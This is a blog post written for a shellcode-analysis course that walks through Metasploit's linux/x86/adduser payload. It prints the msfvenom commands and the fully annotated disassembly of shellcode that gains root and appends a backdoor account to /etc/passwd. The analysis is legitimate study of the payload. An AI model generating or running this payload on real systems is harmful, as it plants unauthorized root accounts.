Skip to content

Shellcode / SLAE

Analyzing Metasploit's linux/x86/adduser Payload

Disassembling and annotating Metasploit's adduser payload instruction by instruction to understand what it really does. SLAE-1134 assignment #5.3.

10 min readOriginally on deceiveyour.team
  • metasploit
  • analysis
  • x86

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1134
Assignment number: 5.3
Github repo: https://github.com/kkirsche/SLAE


Introduction

Hey everyone! Today, we’re going to wrap up our shellcode analysis work. Like last time, instead of writing our own assembly code, we’re instead going to analyze the work of someone else.

Requirements

  • Take at least 3 shellcode samples created using msfvenom for x86 Linux
  • Use GDB, ndisasm, and/or libemu to dissect the functionality of the shellcode
  • Present your analysis

As we said before, first off, this isn’t going to be the complete assignment 5, instead, this is going to discuss the final shellcode sample generated using msfvenom for x86 Linux. With that in mind though, we can definitely meet the other two goals.

Our shellcode

So to get started, I had to choose what shellcode I was going to analyze. After looking through msfvenom’s payloads, I found one which seemed like it’d be interesting — the linux/x86/adduser payload by Skape (of egghunter and shell_find_tag fame), vlad902, and spoonm.

I think this one will be interesting to review as I wanted to focus on topics which we didn’t explicitly cover in the SLAE course, such as reading adding a new user using NASM. I mean, does this task have a direct system call?

If we take a look at what options we have, we see there are three core options USER, PASS and SHELL (representing the default shell to spawn when logging in:

Looking at these, we do have a number of advanced options which we won’t be working with.

In our case, we’ll stick to the defaults which will simplify the setup required to analyze the shellcode.

Let’s dig into our shellcode though!

Libemu

We’ll start off by analyzing the payload in libemu, which provides the sctest binary for analyzing what a payload does. We’re not going to cover the options, as we previously did in the first shellcode analysis document. But the basics of it is that we’re enabling verbose mode, reading the payload to analyze from stdin, and iterating through up to 10000 steps. If we’re lucky, this will give us pseudocode to start our analysis with.

~ $ msfvenom -p linux/x86/adduser --platform linux -a x86 -e generic/none | sctest -vvv -Ss 10000
verbose = 3
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none succeeded with size 97 (iteration=0)
generic/none chosen with final size 97
Payload size: 97 bytes
[emu 0x0x5591f5004740 debug ] cpu state    eip=0x00417000
[emu 0x0x5591f5004740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags:
[emu 0x0x5591f5004740 debug ] cpu state    eip=0x00417000
[emu 0x0x5591f5004740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags:
[emu 0x0x5591f5004740 debug ] 31C9                            xor ecx,ecx
[emu 0x0x5591f5004740 debug ] cpu state    eip=0x00417002
[emu 0x0x5591f5004740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags: PF ZF
[emu 0x0x5591f5004740 debug ] 89CB                            mov ebx,ecx
[emu 0x0x5591f5004740 debug ] cpu state    eip=0x00417004
[emu 0x0x5591f5004740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags: PF ZF
[emu 0x0x5591f5004740 debug ] 6A46                            push byte 0x46
[emu 0x0x5591f5004740 debug ] cpu state    eip=0x00417006
[emu 0x0x5591f5004740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags: PF ZF
[emu 0x0x5591f5004740 debug ] 58                              pop eax
[emu 0x0x5591f5004740 debug ] cpu state    eip=0x00417007
[emu 0x0x5591f5004740 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags: PF ZF
[emu 0x0x5591f5004740 debug ] CD80                            int 0x80
stepcount 4
[emu 0x0x5591f5004740 debug ] cpu state    eip=0x00417009
[emu 0x0x5591f5004740 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x5591f5004740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x5591f5004740 debug ] Flags: PF ZF

And, no pseudocode. This sucks, three times in a row without pseudocode. So be it. If we take a look at the execution graph, hopefully we’ll get a bit more. Realistically, I expect we’ll need to drop into ndisasm and walk through the assembly at a lower level to really analyze this.

msfvenom -p linux/x86/adduser --platform linux -a x86 -e generic/none | sctest -vvv -Ss 10000 -G adduser.dot && dot adduser.dot -T png > adduser.png

Sadly, like the second exercise we end up with nothing. Let’s dig in instead via ndisasm

ndisasm

So without an execution graph or pseudocode we need to dig into the assembly itself. Not a big deal. If we generate the assembly using ndisasm we can see:

~ $ msfvenom -p linux/x86/adduser --platform linux -a x86 -e generic/none | ndisasm -u -                                                                                       ✔
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none succeeded with size 97 (iteration=0)
generic/none chosen with final size 97
Payload size: 97 bytes
00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80

So let’s dig into this!

First Function

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80

So this looks pretty straight forward. We clear ECX by XOR’ing it with itself. We move the value 0x0 into EBX so now both EBX and ECX hold this value. We then pop 0x46 into EAX which is the sys_setreuid16 system call. This sets the real and effective user ID to 0 (root).

This gives us the following commented NASM:

00000000  31C9              xor ecx,ecx         ; Zero out ECX
00000002  89CB              mov ebx,ecx         ; Move 0x0 into EBX
00000004  6A46              push byte +0x46     ; Push SYS_SETREUID16 (0x46 / 70 dec) onto the stack
00000006  58                pop eax             ; Pop the system call into EAX
00000007  CD80              int 0x80            ; Call the system call

Second Function

Great start. Let’s keep it up and try part two.

00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80

This is a bit bigger. We first push 0x5 onto the stack and pop it into EAX. This means we’re going to be referencing the SYS_OPEN system call. We then clear out ECX by XOR’ing it with itself, and pushing 0x0 onto the stack. This is going to be our null terminator.

If we work through the dword in reverse, we see 0x6374652f literally translates to cte/ or /etc if we fix the directionality of it. We then have 0x61702f2f which is literally ap//. Thus far we have /etc//pa. Lastly, we have 0x64777373 which reads as dwss. Giving us a full string of /etc/passwd with a null terminator on the stack.

We move a pointer to our string into EBX, increment ECX (which was 0x0, so now it’s 0x1) which is the O_WRONLY open flag. We then move 0x4 into ch giving ECX a value of 0x401 giving us the flag O_WRONLY|O_APPEND, and trigger our interrupt. This gives us the following commented NASM:

00000009  6A05              push byte +0x5         ; SYS_OPEN system call
0000000B  58                pop eax                ; pop the system call into EAX
0000000C  31C9              xor ecx,ecx            ; Zero out ECX
0000000E  51                push ecx               ; NULL string terminator
0000000F  6873737764        push dword 0x64777373  ; dwss
00000014  682F2F7061        push dword 0x61702f2f  ; ap//
00000019  682F657463        push dword 0x6374652f  ; cte/
0000001E  89E3              mov ebx,esp            ; arguments pointer into EBX
00000020  41                inc ecx                ; O_WRONLY
00000021  B504              mov ch,0x4             ; O_WRONLY|O_APPEND
00000023  CD80              int 0x80               ; execute the system call

Third Function

Ok, so with that call, we get back our open file descriptor into EAX. Let’s see what happens next.

00000025  93                xchg eax,ebx
00000026  E828000000        call 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80

So this is a big block of instructions. We first store the file descriptor in EBX using xchg.

Next we do a call function but things get a bit hard to read here, so we jump into GDB and step through until we hit this, and we see that after the call, we get a POP ECX instruction.

This loads our string including the username, shell and crypted password into ECX:

If we then stepi, we end up at:

0x080480ab:	push   0x4
0x080480ad:	pop    eax
0x080480ae:	int    0x80
0x080480b0:	push   0x1
0x080480b2:	pop    eax
0x080480b3:	int    0x80

Where we pop 0x4 (SYS_WRITE system call) into EAX, we already have the file descriptor to /etc//passwd in EBX, and then we perform the write with int 0x80.

We then trigger the exit call using 0x1 in EAX and triggering the interrupt.

The commented NASM:

0x080480ab:	push   0x4     ; SYS_WRITE
0x080480ad:	pop    eax     ; pop the call number into EAX
0x080480ae:	int    0x80    ; execute SYS_WRITE
0x080480b0:	push   0x1     ; SYS_EXIT
0x080480b2:	pop    eax     ; pop the call number into EAX
0x080480b3:	int    0x80    ; execute the SYS_EXIT command.

Pulling it all together

As we look at the full shellcode, our final result is:
00000000 31C9 xor ecx,ecx ; Zero out ECX 00000002 89CB mov ebx,ecx ; Move 0x0 into EBX 00000004 6A46 push byte +0x46 ; Push SYS_SETREUID16 (0x46 / 70 dec) onto the stack 00000006 58 pop eax ; Pop the system call into EAX 00000007 CD80 int 0x80 ; Call the system call 00000009 6A05 push byte +0x5 ; SYS_OPEN system call 0000000B 58 pop eax ; pop the system call into EAX 0000000C 31C9 xor ecx,ecx ; Zero out ECX 0000000E 51 push ecx ; NULL string terminator 0000000F 6873737764 push dword 0x64777373 ; dwss 00000014 682F2F7061 push dword 0x61702f2f ; ap// 00000019 682F657463 push dword 0x6374652f ; cte/ 0000001E 89E3 mov ebx,esp ; arguments pointer into EBX 00000020 41 inc ecx ; O_WRONLY 00000021 B504 mov ch,0x4 ; O_WRONLY|O_APPEND 00000023 CD80 int 0x80 ; execute the system call 00000025 93 xchg eax,ebx ; move file descriptor into EBX for the SYS_WRITE call 00000026 E828000000 call 0x53 ; use call for the CALL / POP technique of getting a string 0000002B 6D insd ; m 0000002C 657461 gs jz 0x90 ; eta 0000002F 7370 jnc 0xa1 ; sp 00000031 6C insb ; l 00000032 6F outsd ; o 00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a ; it:Az/dI 0000003B 736A jnc 0xa7 ; sj 0000003D 3470 xor al,0x70 ; 4p 0000003F 3449 xor al,0x49 ; 4l 00000041 52 push edx ; R 00000042 633A arpl [edx],di ; c: 00000044 303A xor [edx],bh ; 0: 00000046 303A xor [edx],bh ; 0: 00000048 3A2F cmp ch,[edi] ; :/ 0000004A 3A2F cmp ch,[edi] ; :/ 0000004C 62696E bound ebp,[ecx+0x6e] ; bin 0000004F 2F das ; / 00000050 7368 jnc 0xba ; sh 00000052 0A598B or bl,[ecx-0x75] ; Line Feed, POP ECX, MOV 00000055 51 push ecx ; EDX 00000056 FC cld ; -0x4 00000057 6A04 push byte +0x4 ; SYS_WRITE 00000059 58 pop eax ; pop the function call into EAX 0000005A CD80 int 0x80 ; write the data 0000005C 6A01 push byte +0x1 ; SYS_EXIT 0000005E 58 pop eax ; store the function call in EAX 0000005F CD80 int 0x80 ; exit cleanly

You may wonder how line 00000052 translates. 0A is a line feed character, commonly represented by \n in many languages. 598B is then the operation codes for:

~ $ /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > POP ECX
00000000  59                pop ecx
nasm > mov EDX, [ecx-0x4]
00000000  8B51FC            mov edx,[ecx-0x4]

This shows us that ndisasm actually got the output wrong here, which is why we had to make sure to fix it via the comments.

This is a great lesson though, that we can’t just blindly trust our tools, we really do need to take the time to read what’s happening, and fully understand it.